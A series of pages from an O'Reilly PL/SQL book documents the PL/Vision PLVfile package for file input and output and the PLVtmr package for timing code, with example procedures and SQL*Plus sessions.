Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.5 Reading From a File

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.5 Reading From a File

PLVfile offers several different ways to read information from an operating system file. The get_line procedure gets the next line from the file. The line function returns the nth line from a file. The overloaded infile functions returns the line in which a string is found. These programs are explored below.

13.5.1 Reading the Next Line

Use the get_line procedure to read the next line from a file. The header for get_line is:

PROCEDURE get_line
   (file_in IN UTL_FILE.FILE_TYPE, line_out OUT VARCHAR2,
    eof_out OUT BOOLEAN);

You must provide a file handle (file_in); you cannot get the next line from a file by name. This means that you must already have opened the file using one of the fopen functions. The second argument of get_line (line_out) receives the string which is found on the next line. The eof_out argument is a flag which is set to TRUE if you have read past the end of the file.

When eof_out returns TRUE, line_out is set to NULL. You should not, however, test the value of line_out to determine if you are at the end of the file. The line_out argument could be set to NULL if the next line in a file is blank.

The following script (stored in the file dispfile.sql) uses get_line to read all the lines from a file and then display those lines.

DECLARE
   fileid UTL_FILE.FILETYPE;
   line PLVfile.max_line%TYPE;
   eof BOOLEAN;
BEGIN
   fileid := PLVfile.fopen ('&1');
   LOOP
      PLVfile.get_line (fileid, line, eof);
      EXIT WHEN eof;
      p.l (line);
   END LOOP;
   PLVfile.fclose (fileid);
END;
/

I use the max_line variable of PLVfile to declare the line datatype. This gives me a way to avoid having to hard-code the length of a line. Then I open the file (provided through a SQL*Plus substitution parameter) in the simplest possible way: location and name combined, assuming read-only access. My simple loop reads the next line and exits when the end-of-file condition is reached. If I did retrieve a line, I display it. When done, I close the file.

13.5.2 Reading the nth Line

Use the line function to retrieve the specified line from a file. The header for line is:

FUNCTION line (file_in IN VARCHAR2, line_num_in IN INTEGER)
RETURN VARCHAR2;

Notice that in this function you supply a file name and not a file handle (in fact, you don't even have the option of providing the location and name separately). The second argument is the line number you want retrieved.

The line function opens (in read-only mode), scans, and closes your file. You do not have to -- and should not -- perform any of these steps. If the line number specified is 0 or is greater than the number of lines in the file, the function will return a NULL value.

This function is handy when the lines in your file have a predefined or predictable structure. For example, you might have an .ini or initialization file for a program in which the first line is the name of the program, the second line the date and time of last use, and the third line the user who last accessed account information. You could then use PLVfile.line to retrieve precisely the information you needed. The following call to the line function extracts just the date and time of last use. It assumes that you have also made use of the standard PL/Vision date mask when writing this information to the file.

v_lastuse := TO_DATE (PLVfile.line ('oe.ini', 2), PLV.datemask);

13.5.3 The INSTR of PLVFile

PLVfile provides a function which operates within a file in much the same way that the builtin INSTR function operates on a string. INSTR returns the position in which the n th occurrence of a substring is found. PLVfile.infile returns the line number in which the nth occurrence of a string occurs. The header of the infile function, again overloaded to allow specification of the file in two different ways, is shown below:

FUNCTION infile
   (loc_in IN VARCHAR2,
    file_in IN VARCHAR2,
    text_in IN VARCHAR2,
    nth_in IN INTEGER := 1,
    start_line_in IN INTEGER := 1,
    end_line_in IN INTEGER := NULL,
    ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER;

FUNCTION infile
   (file_in IN VARCHAR2,
    text_in IN VARCHAR2,
    nth_in IN INTEGER := 1,
    start_line_in IN INTEGER := 1,
    end_line_in IN INTEGER := NULL,
    ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER;

The arguments to the infile function are described below:

Parameter Name

Description

file_in
loc_in, file_in

The name of the file to be opened. The function is overloaded to allow both the location name and combined name specification for the file. All other arguments are common among the two.

text_in

The chunk of text to be searched for in each line of the file.

nth_in

The number of times the text should be found in distinct lines in the file before the function returns the line number. Default is 1, which means the first match. This value must be at least 1.

start_line_in

The first line in the file from which the function should start its search. This value must be greater than 0.

end_line_in

The last line in the file to which the function should continue its search. If NULL (the default), then search through end of the file. This value must be greater than or equal to start_line_in.

ignore_case_in

Indicates whether the case of the file contents and text_in should be ignored when checking for its presence in the line.

The infile function opens (in read-only mode), scans, and closes your file. You do not have to -- and should not -- perform any of these steps.

The only required parameters are file_in and text_in. I can, as a result, call infile with this minimum number of arguments:

first_find := PLVfile.infile ('names.vp', 'Hanubi';

I can, however, also do so much more, as shown in the examples below.

  1. Confirm that the role assigned to this user is SUPERVISOR.

    IF PLVfile.line ('config.usr', 'ROLE=SUPERVISOR') > 0
THEN
   update_schedule;
END IF;

  2. Find the second occurrence of `DELETE' starting with the fifth line.

    v_line := PLVfile.line ('commands.dat', 'delete', 2, 5);

  3. Verify that the third line contains a terminal type specification. I ask for an exact match on the case of the text in the file, since the setup file has a specific structure.

    v_line := PLVfile.line
   ('setup.cfg', 'termtype=', 1, 3, ignore_case_in => FALSE);

The infile function differs from INSTR in at least one way: it does not support negative values for the starting line number of the search. INSTR does recognize this kind of argument, causing it to scan backwards through the string. You cannot scan backwards through the contents of a file.

13.5.3.1 Building utilities around infile

Suppose I receive profit-and-loss statements electronically from each of my regional offices every month. The number of items in the statement can change, but the file must contain a monthly total line in the format:

month_total=NNNNNN

where NNNNNN is the dollar amount.

Before the availability of UTL_FILE, you would have had to use SQL*Loader to load the file into a "temporary" table and then query the contents of that table. With UTL_FILE and (more to the point of this chapter, PLVfile's functions) you can skip the temporary table and extract the information directly from the file.

The mth_total function shown below (stored in file use\mthtotal.sf ) makes use of both PLVfile.line and PLVfile.infile to extract the monthly total for the specified region and month.

FUNCTION mth_total
   (region_in IN INTEGER,
    month_in IN VARCHAR2,
    key_in IN VARCHAR2 := 'month_total=') RETURN NUMBER
IS
   v_file VARCHAR2(100) :=
      'pnl' || TO_CHAR (region_in) || '.' || month_in;
   v_linenum INTEGER;
   v_line PLVfile.max_line%TYPE;

   retval NUMBER := NULL;
BEGIN
   v_linenum := PLVfile.line (v_file, key_in);
   If v_linenum IS NOT NULL
   THEN
      v_line := PLVfile.line (v_file, v_linenum);
      retval := SUBSTR (v_line, LENGTH (key_in) + 1);
   END IF;
   RETURN retval
EXCEPTION
   WHEN OTHERS THEN RETURN NULL;
END;

This function, first of all, assumes that the default directory for the profit-and-loss files has already been set. It then constructs the file name from the region number and month string (the month string is an extension of the form MMYY). The call to PLVfile.line locates the line containing the keyword (which is also passed in as an argument to increase the flexibility of the function). If the line number if not NULL, a match was found. So PLVfile.line is then called to return the text of that line. Finally, I use SUBSTR to extract only the numeric part of the line.

Previous: 13.4 Opening and Closing Files | Advanced Oracle PL/SQL Programming with Packages | Next: 13.6 Writing to a File
13.4 Opening and Closing Files | Book Index | 13.6 Writing to a File
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.6 Writing to a File

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.6 Writing to a File

When you open a file in write-only mode (PLVfile.c_write) or append mode (PLVfile.c_append), you usually then want to write or put a line into that file. To do this, you will call the PLVfile.put_line procedure, whose header is shown below:

PROCEDURE put_line
   (file_in IN UTL_FILE.FILE_TYPE, line_in IN VARCHAR2);

Notice that you must provide a file handle to put a line in a file. You must, therefore, have already opened the file using one of the function versions of fopen.

13.6.1 Appending a Line

The append_line procedure offers a quick way to add a line on to the end of a file. Its header is:

PROCEDURE append_line (file_in IN VARCHAR2, line_in IN VARCHAR2);

You provide the file and the line you want appended on the end of the file. PLVfile automatically opens the file in append mode, writes the line using put_line, and then closes the file.

Previous: 13.5 Reading From a File | Advanced Oracle PL/SQL Programming with Packages | Next: 13.7 Copying File Contents
13.5 Reading From a File | Book Index | 13.7 Copying File Contents
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.7 Copying File Contents

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.7 Copying File Contents

PLVfile offers several different programs to copy the contents of a file. You can copy from one file to another, from a file to a PL/SQL table, and from a PL/SQL table to a file. These programs are explained below.

13.7.1 Copying File to File

You can copy the entire contents of one file to another file with a single program call via the fcopy procedure; its header is shown here:

PROCEDURE fcopy
   (ofile_in IN VARCHAR2,
    nfile_in IN VARCHAR2,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := NULL);

The ofile_in string is the name of the "original" file. The nfile_in string is the name of the "new" file. You can also specify which lines from the original file you want to copy. The start_in value is the number of the first line to copy. The end_in argument is the last line of the file to copy. If the end_in argument is NULL, then all lines from the start_in line to the end of the file are copied.

13.7.2 Copying File to PL/SQL Table

You can copy the contents of a file directly into a PL/SQL table with the file2pstab program. The header for the procedure is:

PROCEDURE file2pstab
   (file_in IN VARCHAR2,
    table_inout IN OUT PLVtab.vc2000_table,
    rows_out OUT INTEGER);

You specify the name of the file and provide the procedure with a PL/SQL table declared using the PLVtab package. Each line of the file is then copied into consecutive rows in the PL/SQL table. The rows_out argument contains the total number of rows set in the table. If the file is empty, the rows_out argument will be set to 0.

Once you have moved the file contents to a PL/SQL table, you can access the information in any PL/SQL program.

13.7.3 Copying File to List

You can copy the contents of a file directly into a PL/Vision list, implemented using the PLVlst package. The header for the procedure is:

PROCEDURE file2list (file_in IN VARCHAR2, list_in IN VARCHAR);

where file_in is the file name and list_in is the name of the PL/Vision list. This list is implemented in a PL/SQL table.

If the list does not exist, it is initialized by file2list. If the list already exists, the lines from the file are appended to the end of the list.

The combination of PLVfile.file2list and the full set of list management programs in PLVlst offers you a powerful means of storing lists of information in operating system files and then integrating that information into PL/SQL-based applications.

13.7.4 Copying PL/SQL Table to File

You can perform a "bulk" write to a file with the pstab2file procedure. This program transfers the contents of a VARCHAR2 PL/SQL table into the specified file. The header for this procedure is:

PROCEDURE pstab2file
   (table_in IN PLVtab.vc2000_table,
    rows_in IN INTEGER,
    file_in IN VARCHAR2,
    mode_in IN VARCHAR2 := c_write);

where the first argument is table_in, the PL/SQL table (defined using the PLVtab package). The rows_in parameter provides the number of rows in the table (pstab2file assumes that the PL/SQL table is populated sequentially from row 1). The string file_in provides the file name. Finally, you can also provide the file operation mode in the mode_in argument. The default value for mode_in is PLVfile.c_write, which means that any existing roles in the specified file will be replaced by the contents of the PL/SQL table.

You can also request that the PL/SQL table be transferred in "append mode." In this case, all PL/SQL table data will be appended to the end of the file. This approach is shown below:

PLVfile.pstab2file
   (my_table, rows_in_tab, 'temp.sql', PLVfile.c_append);

If you try to execute pstab2file with the read-only mode, PLVfile.c_read, you will receive an error.

If pstab2file encounters any undefined rows between 1 and rows_in - 1, it will trap the NO_DATA_FOUND exception and continue past that error. It will, as a result, transfer as many rows as possible from the PL/SQL table.

The following script (stored in the file dumpprog.sql) shows how to use the pstab2file to generate a source code file for the specified program.

BEGIN
   /* Set the current object from user. */
   PLVobj.setcurr ('&1');

   /* Read from ALL_SOURCE, write to PL/SQL table. */
   PLVio.asrc;
   PLVio.settrg (PLV.pstab);

   /* Copy the program source to the PL/SQL table. */
   PLVio.src2trg;

   /* Write the contents of the PL/SQL table to a file. */
   PLVfile.pstab2file
      (PLVio.target_table, PLVio.target_row, '&2');
END;
/

Here is the command you would execute in SQL*Plus to copy the stored source code of the body of the PLVvu package to a file named PLVvu.spp:

SQL> @dumpprog b:PLVvu PLVvu.spp

Previous: 13.6 Writing to a File | Advanced Oracle PL/SQL Programming with Packages | Next: 13.8 Displaying File Contents
13.6 Writing to a File | Book Index | 13.8 Displaying File Contents
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.8 Displaying File Contents

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.8 Displaying File Contents

Use the display procedures (overloaded for file name and file handle) to display the contents of an operating system file from within a PL/SQL program. The headers for these procedures are:

PROCEDURE display
   (file_in IN UTL_FILE.FILE_TYPE,
    header_in IN VARCHAR2 := NULL,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := NULL);

PROCEDURE display
   (file_in IN VARCHAR2,
    header_in IN VARCHAR2 := NULL,
    start_in IN INTEGER := 1,
    end_in IN INTEGER := NULL);

where file_in is the file name or the handle, header_in is an optional header for the display, and the start_in and end_in arguments specify the rows which you wish to display. If the end_in argument is NULL (the default value), then all lines from the starting line number to the end of the file will be displayed.

Previous: 13.7 Copying File Contents | Advanced Oracle PL/SQL Programming with Packages | Next: 13.9 Handling File Errors with PLVfile
13.7 Copying File Contents | Book Index | 13.9 Handling File Errors with PLVfile
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.9 Handling File Errors with PLVfile

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.9 Handling File Errors with PLVfile

Many different errors can occur when you are attempting to read and write files. A file may not have been opened when you try to read it, or you may have opened it in read-only status and tried to write to it, and so on. When the PL/SQL runtime engine detects a problem, it raises one of the system exceptions (NO_DATA_FOUND and VALUE_ERROR) or one of the package-specific exceptions (such as UTL_FILE.READ_ERROR). The package-specific exceptions are user-defined, which means that if you check the SQLCODE return value in a WHEN OTHERS exception section, you see the value 1. This information is not very useful for debugging purposes.

The current version of PLVfile does attempt to trap the appropriate UTL_FILE exceptions in some of its programs (see the implementations of fcreate, fopen, and get_line, among others). It also provides a sample program which has an exception section handling each of the package-specific exceptions.

This procedure, exc_section, is not intended to be executed as it is written. Instead, you should cut the exception section from this procedure and paste it into your own program. You will then be able to trap, identify, and respond to the specific errors raised when using the UTL_FILE package.

To show how to use this block of code, suppose that the exception section consists only of these lines:

EXCEPTION
   WHEN UTL_FILE.INVALID_PATH
   THEN
      PLVexc.recNstop ('Invalid path');
   WHEN OTHERS
   THEN
      PLVexc.recNstop (SQLCODE);
END;

In other words, if the INVALID_PATH exception is raised, the PLVexc program records the problem and then raises an exception to stop the process. For any other error, the SQLCODE is saved with the error information and program execution halts.

I then build the following procedure to read the first line from a file and display that line.

PROCEDURE checkitout (file_in IN VARCHAR2)
IS
   aline PLVfile.max_line%TYPE;
BEGIN
   aline := PLVfile.line (file_in, 1);
   p.l (aline);
END;

When I run the program, I keep getting unhandled exceptions. Since I do not check for any specific exceptions, the PL/SQL runtime engine simply informs me that a user-defined exception occurred. It is very difficult for me to figure out what is going on. So I paste in the exception section provided by PLVfile and then I have:

PROCEDURE checkitout (file_in IN VARCHAR2)
IS
   aline PLVfile.max_line%TYPE;
BEGIN
   aline := PLVfile.line (file_in, 1);
   p.l (aline);
EXCEPTION
   WHEN UTL_FILE.INVALID_PATH
   THEN
      PLVexc.recNstop ('Invalid path');
   WHEN OTHERS
   THEN
      PLVexc.recNstop (SQLCODE);
END;

Now when the program executes, the message "Invalid path" appears on my screen. I immediately realize that I have not called the PLVfile.set_dir to set my default directory and so my file open step is failing.

In the real world you will find yourself adding an exception section with eight different handlers so you can distinguish between all the different errors. This adds many lines to your programs, but it is worth it when you have to debug your file I/O activity. In addition, since it is predefined for you in PLVfile, you do not have to personally do a whole lot of work to get the benefit.

This standard exception section is defined in the package body within the exc_section procedure, but it is also included as a help text stub under the topic EXC_SECTION in the package specification. So you can at any time execute the following line to display the exception section:

SQL> exec PLVfile.help ('exceptions');

Previous: 13.8 Displaying File Contents | Advanced Oracle PL/SQL Programming with Packages | Next: 13.10 Tracing PLVfile Activity
13.8 Displaying File Contents | Book Index | 13.10 Tracing PLVfile Activity
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 13] 13.10 Tracing PLVfile Activity

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

13.10 Tracing PLVfile Activity

PLVfile offers a standard PL/Vision toggle to allow you to dynamically turn on or off a trace of PLVfile activity. The triumvirate of programs for this toggle is:

PROCEDURE show;
PROCEDURE noshow;
FUNCTION showing;

When you call PLVfile.show, the trace is turned on (the default is that the trace is not active). Currently, PLVfile offers a trace of the get_line and put_line actions only.

It can be very frustrating to work with UTL_FILE and, by extension, PLVfile. You might think that you have taken all the necessary steps to perform file I/O, but you keep getting "Invalid Operation" errors. The PLVfile trace may well be able to give you the information you need to identify your problem more easily.

Previous: 13.9 Handling File Errors with PLVfile | Advanced Oracle PL/SQL Programming with Packages | Next: IV. Developer Utility Packages
13.9 Handling File Errors with PLVfile | Book Index | IV. Developer Utility Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] PLVtmr: Analyzing Program Performance

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: IV. Developer Utility Packages Chapter 14 Next: 14.2 Capturing the Start Time

14. PLVtmr: Analyzing Program Performance

Contents:
Toggling the Timer
Capturing the Start Time
Retrieving and Displaying the Elapsed Time
Using PLVtmr in Scripts

In Oracle PL/SQL Programming, I explored the implementation of the sp_timer package, which provides an easy-to-use interface to the DBMS_UTILITY.GET_TIME builtin function. GET_TIME gives us a mechanism for calculating the elapsed time of PL/SQL code execution down to the hundredth of a second. Since the publication of that book, I have enhanced sp_timer and it has evolved into the PLVtmr (PL/Vision TiMeR) package. The following sections show how to use each of the different elements of PLVtmr. For more information about how this package was developed, see Oracle PL/SQL Programming.

Now you have the following options when analyzing PL/SQL performance:

  • Turn the timer on or off. You can keep your timers embedded in your application. They will not do anything if you explicitly turn off PLVtmr.

  • Retrieve and display the elapsed time. You have many options for the format of the elapsed time data. These options allow you to use PLVtmr in SQL*Plus, as well as Oracle Developer/2000 and any other environment which supports PL/SQL program execution.

  • Execute prebuilt performance comparison procedures. These programs allow you to get a sense of the difference in performance of implicit and explicit cursors and of the overhead of a function call.

14.1 Toggling the Timer

PLVtmr supplies a toggle so that you can leave your timing program calls in your code, but only have the timings execute when desired.

To turn on the activity of PLVtmr, call the turn_on program; its header is:

PROCEDURE turn_on;

To turn off the activity of PLVtmr, call the turn_on program; its header is:

PROCEDURE turn_off;

When turned off, PLVtmr will not add any overhead to your code execution and will not display any timing information.

Previous: IV. Developer Utility Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 14.2 Capturing the Start Time
IV. Developer Utility Packages | Book Index | 14.2 Capturing the Start Time
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.2 Capturing the Start Time

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

14.2 Capturing the Start Time

The capture procedure of PLVtmr allows you to capture the start time for a timing session. Its header is:

PROCEDURE capture (context_in IN VARCHAR2 := NULL);

The single argument supplies a context which is associated with this timing session. When you call capture, PLVtmr in turn calls DBMS_UTILITY.GET_TIME to "capture the moment."

The following call to capture starts the timing session and assigns it the name "Calculating Totals":

PLVtmr.capture ('Calculating Totals');

Previous: 14.1 Toggling the Timer | Advanced Oracle PL/SQL Programming with Packages | Next: 14.3 Retrieving and Displaying the Elapsed Time
14.1 Toggling the Timer | Book Index | 14.3 Retrieving and Displaying the Elapsed Time
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.3 Retrieving and Displaying the Elapsed Time

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

14.3 Retrieving and Displaying the Elapsed Time

PLVtmr offers several different programs to retrieve and display the elapsed time: elapsed, elapsed_message, and show_elapsed. To get a non-NULL result from these programs, you must first have called the capture procedure.

The elapsed function returns the number of hundredths of seconds since the last call to capture. Its header is:

FUNCTION elapsed RETURN NUMBER;

You will want to use elapsed when you wish to store the elapsed time, rather than display it, or when you wish to display it in a format not supported by the other programs of PLVtmr.

14.3.1 elapsed_message Function

The elapsed_message function returns the elapsed time displayed within a standard format that incorporates the iteration factor (see Section 14.4, "Using PLVtmr in Scripts"). The header for elapsed_message follows:

FUNCTION elapsed_message
   (prefix_in IN VARCHAR2 := NULL,
    adjust_in IN NUMBER := 0,
    reset_in IN BOOLEAN := TRUE,
    reset_context_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

The first argument, prefix_in, is another "context" string. In addition to the string provided in the call to capture, you can pass additional information to the PLVtmr package to display with the elapsed timing message. The value of the adjust_in argument allows you adjust or calibrate your timing with any overhead computations you may have made. The reset_in argument indicates whether or not the capture procedure should be called to "reset" the starting time of the next elapsed timing. The final argument, reset_context_in, provides a starting context for that reset call to capture.

Notice that default values are provided for every argument to elapsed_message. I can, therefore, execute it as simply as this:

v_howmuch := PLVtmr.elapsed_message;

The impact of this call to elapsed_message will be to return a message that contains the elapsed time without any prefix string, unadjusted for any overhead, with the start time that is maintained by PLVtmr reset by a call to the PLVtmr.capture procedure.

If you want to obtain the elapsed timing information without automatically calling capture to reset the start time, pass FALSE for reset_in as shown below:

v_howmuch := PLVtmr.elapsed_message (reset_in => FALSE);

This next call to elapsed_message supplies a full set of arguments:

v_howmuch := PLVtmr.elapsed_message
                (TO_CHAR (v_empid), v_compcalc, TRUE, 'Profit Share');

In this call, a prefix of the current employee ID number is provided to be placed in the message string. The timing is also adjusted by the amount of time it took to calculate the compensation (v_compcalc). I request that capture be called to start the clock ticking again from a new start time. Finally, I associate the string "Profit Share" with the new timing session.

For examples of the format of the output from elapsed_message, see the next session on the show_elapsed procedure.

14.3.2 show_elapsed Procedure

The show_elapsed procedure is the highest-level mechanism for displayed elapsed timings. It relies on the DBMS_OUTPUT.PUT_LINE procedure (through the p package) to display the information. If you want to use another mechanism for displaying the elapsed timing (such as MESSAGE in Oracle Forms), you will simply call elapsed or elapsed_message and display that information.

The header for show_elapsed is:

PROCEDURE show_elapsed
   (prefix_in IN VARCHAR2 := NULL,
    adjust_in IN NUMBER := 0,
    reset_in IN BOOLEAN := TRUE);

The first argument, prefix_in, is another "context" string. In addition to the string provided in the call to capture, you can pass additional information to the PLVtmr package to display with the elapsed timing message. The adjust_in value allows you adjust or calibrate your timing with any overhead computations you may have made. The reset_in argument indicates whether or not the capture procedure should be called to "reset" the starting time of the next elapsed timing.

As with elapsed_message, all arguments have defaults, so you can simply specify:

PLVtmr.show_elapsed;

to see the number of hundredths of seconds elapsed since the last call to capture without any adjustment. You will also reset the start time.

The following SQL*Plus-based calls to the PLVtmr programs will give you a sense of the format used to display the timing information:

SQL> exec PLVtmr.capture ('calc totals');
SQL> exec PLVtmr.show_elapsed;
Elapsed since calc totals: 5.28 seconds.
SQL>  exec PLVtmr.capture ('calc totals');
SQL>  exec PLVtmr.show_elapsed ('year 1995');
year 1995 Elapsed since calc totals: 9.45 seconds.

14.3.3 Setting the Timing Factor

In many cases (and as demonstrated in Section 14.4), you will want to calculate the performance of an element of code which executes very quickly. In order to gain a true sense of its performance, you will put this code inside a loop and execute it multiple times.

You can use the factoring programs of PLVtmr to tell PLVtmr the number of times you are executing your code. It will then factor that number into its presentation of elapsed time.

The factoring programs are as follows:

PROCEDURE set_factor (factor_in IN NUMBER);
FUNCTION factor RETURN NUMBER;

The set_factor procedure sets the factoring value. The factor function returns the current setting.

Here is an example of how the use of the factoring value affects the output from the PLVtmr package:

SQL> exec PLVtmr.set_factor(100);
SQL> exec PLVtmr.capture ('calc totals');
SQL> exec PLVtmr.show_elapsed ('year 1995');
year 1995 Elapsed since calc totals: 3.79 seconds. Factored: .0379 seconds.

Previous: 14.2 Capturing the Start Time | Advanced Oracle PL/SQL Programming with Packages | Next: 14.4 Using PLVtmr in Scripts
14.2 Capturing the Start Time | Book Index | 14.4 Using PLVtmr in Scripts
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 14] 14.4 Using PLVtmr in Scripts

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

14.4 Using PLVtmr in Scripts

In most situations, you will not place calls to PLVtmr inside your production code. Instead, you will extract specific elements of your application which you wish to focus on and understand their performance implications. You will usually write a SQL*Plus script that executes your code one or more times. If you do place the code within a loop, you should use the set_factor procedure to let PLVtmr know that it is timing multiple iterations of the code.

The following anonymous block, for example, calculates how long it takes to calculate totals. It also computes an average execution time over the specified number of iterations (passed in as a SQL*Plus argument) by calling the set_factor procedure:

 BEGIN
    PLVtmr.set_factor (&1);
    PLVtmr.capture;
    FOR rep IN 1 .. &1
    LOOP
       calc_totals;
    END LOOP;
    PLVtmr.show_elapsed ('calc_totals');
 END;
 /

The PLVgen package will generate a loop like the one you see above. In fact, that script was generated with the following call in SQL*Plus:

SQL> exec PLVgen.timer ('calc_totals');

14.4.1 Comparing Performance of Different Implementations

Another common operation with PLVtmr is to compare two or more implementations of the same business rule or function. One example of this approach is shown below. In this script, I see which of my implementations of an "is number" function is most efficient. The first version is based on the TO_NUMBER builtin, while the second uses the LTRIM function.

SET SERVEROUTPUT ON
SET VERIFY OFF
DECLARE
   stg VARCHAR2(66) := '&2';
   bool BOOLEAN;
BEGIN
   PLVtmr.capture;
   FOR i IN 1 .. &1
   LOOP
      bool := isnum.tonumber (stg);
      IF i = 1 THEN do.pl(bool); END IF;
   END LOOP;
   PLVtmr.show_elapsed ('tonumber');

   PLVtmr.capture;
   FOR i IN 1 .. &1
   LOOP
      bool := isnum.trim (stg);
      IF i = 1 THEN do.pl(bool); END IF;
   END LOOP;
   PLVtmr.show_elapsed ('trim');
END;
/

14.4.2 Calculating Overhead of an Action

You can also use PLVtmr to calculate the overhead associated with a given operation. One example of this approach is shown by the func procedure of PLVtmr:

PROCEDURE func
IS
   myval NUMBER;
   baseval NUMBER;
BEGIN
   PLVtmr.capture;
   FOR rep IN 1 .. v_repeats
   LOOP
      myval := 0;
   END LOOP;
   baseval := elapsed;
   PLVtmr.capture;
   FOR rep IN 1 .. v_repeats
   LOOP
      myval := numval;
   END LOOP;
   show_elapsed ('Function Overhead', baseval);
END;

In this procedure, I compute the overhead associated with calling a function (versus making a direct assignment). I execute two different loops the number of times specified by v_repeats (which is set by the set_repeats procedure). In the first loop I obtain a baseline in which an assignment is executed. Rather than display that value, I simply assign to a local variable, baseval. I then execute a loop in which the function is called in place of the assignment. When this loop is completed, I display the elapsed time, passing the baseval variable as the amount by which the total elapsed time should be adjusted.

Here is an example of an execution of the func procedure three times, each based on 10,000 iterations. It shows that you can expect to incur upwards of 1/2 of one-thousandth of a second to make a function call (this was on a Pentium 90 Mhz laptop).

SQL> exec PLVtmr.set_repeats(10000);
SQL> exec PLVtmr.func
Function Overhead Elapsed: 5.33 seconds. Factored: .00053 seconds.
SQL> exec PLVtmr.func
Function Overhead Elapsed: 4.73 seconds. Factored: .00047 seconds.
SQL> exec PLVtmr.func
Function Overhead Elapsed: 4.56 seconds. Factored: .00046 seconds.

In fact, PLVtmr offers a number of programs to perform these kinds of comparisons: calibrate, currsucc, currfail, and, of course, func. In all cases, when you use PLVtmr to analyze performance, you should execute your test multiple times to make sure that your results stabilize around a consistent answer.

Previous: 14.3 Retrieving and Displaying the Elapsed Time | Advanced Oracle PL/SQL Programming with Packages | Next: 15. PLVvu: Viewing Source Code and Compile Errors
14.3 Retrieving and Displaying the Elapsed Time | Book Index | 15. PLVvu: Viewing Source Code and Compile Errors
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] PLVvu: Viewing Source Code and Compile Errors

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
